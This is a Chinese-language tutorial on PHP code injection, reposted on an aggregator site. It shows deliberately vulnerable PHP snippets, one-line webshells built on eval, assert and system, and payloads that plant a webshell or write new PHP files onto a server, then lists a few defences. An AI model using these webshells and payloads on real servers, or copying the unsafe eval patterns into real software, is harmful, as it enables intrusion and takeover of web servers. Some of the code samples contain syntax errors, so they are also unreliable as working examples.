PHP代码注入详解

Posted Zeker62

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP代码注入详解相关的知识,希望对你有一定的参考价值。

php代码注入的原理和解析

PHP代码注入靠的是RCE,即远程代码执行。
指应用程序过滤不严,hacker可以将代码注入到服务器进行远程的执行。
危害和SSRF相似,通过这个漏洞可以操控服务器的动作。
最典型的就是一句话木马
PHP代码漏洞注入的两个要素:

  • 程序中含有可执行的PHP代码函数
  • 传入第一点的参数,客户端可控,直接修改或者影响

下面将对PHP相关函数和语句以及注入方法进行解释

eval()

eval()函数在很多语言中都有,比如Python、PHP。
eval函数的作用是将字符串作为PHP语句来执行
例如

<?php
if(isset($_GET['code']){
	@$code=$_GET['code'];  //使用@表示不显示错误
	eval($code);
}else{
	echo "please submit code!"
}
?>

当然也可以不适用$_GET,使用其他预定义超全局数组变量都可以。

如果此时我在里面输入:

http://www.abc.com/code?=phpinfo();

就可以弹出php的信息。

assert()函数

这个函数和eval()函数一样,同样可以将函数里面的内容作为PHP代码执行:
但是eval()是语句结构,assert()函数的功能更加全面。
如果在代码注入的时候发现eval() 没有用的话可以尝试替换位assert()函数。

<?php
if(isset($_GET['code']){
	$code=$_GET['code'];
	assert($code);
}else{
	echo "please submit code!"
}
?>

其用法和eval()一致。

system()函数

传递的字符串command作为系统命令执行,并且将指返回给第二个参数return_var

system(string $command, int &$return_var): string

所以,综上所述,一句话木马都可以表示为:

<?php @eval($_GET["sky"]);?>

<?php @assert($_GET["sky"]);?>

<?php @system($_GET["sky"]);?>

preg_replace()函数

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

  • $count: 可选,为替换执行的次数。

这个有什么注入点?当/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码来执行。
比如:

$template = preg_replace("/[\\n\\r\\t]*\\{block\\/(\\d+?)\\}[\\n\\r\\t]*/ie", "\\$this->blocktags('\\\\1')", $template);

call_user_func()函数

把第一个参数作为回调函数调用。

<?php
if(isset($_GET['fun'])){
	$fun=$_GET['fun'];
	$para=$_GET['para'];
	call_user_func($fun,$para);
}
?>

如果我们传递参数:

http://www.abc.com/?fun=assert&para=phpinfo()

意思就是,fun需要书写一个真实的函数,而para这是这个函数的参数,这样传参也可以被执行。

此时这里fun不能使用eval,因为eval是语句结构,建议使用assert。

$a($b)函数

这是动态函数的写法,和call_user_func()参数的传递有些类似

if(isset()){
	$a=$_GET['a'];
	$b=$_GET['b'];
	$a($b);
}

常见的PHP代码注入还有这些:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
遇到了再查吧,我是记不住那么多

漏洞利用

下面列出简单的漏洞利用方法:

  • 一句话木马:?code=@eval($_POST['password']);
  • 获取文件当前绝对路径:__FILE__是预定义常量,为文件的当前绝对路径,用法:?code=print(__FILE__);
  • 写文件:使用file_put_contents()函数。前提是要知道可写目录,可以用hackbar进行提交,例如:?code=var_dump(file_put_contents($_POST['a'],$_POST['b'])); 然后再hackbar使用post提交为:a=a.php&b=<?php phpinfo();?>,然后就可以在当前目录下创建一个a.php文件了

防御方法:

  • 不要使用eval函数
  • 如果使用一定要经过严格的过滤
  • preg_replace放弃使用/e修饰符
  • disable_functions=assert()

以上是关于PHP代码注入详解的主要内容,如果未能解决你的问题,请参考以下文章

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

SQL注入详解-转发

PHP依赖注入(DI)和控制反转(IoC)详解

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

SQL注入漏洞详解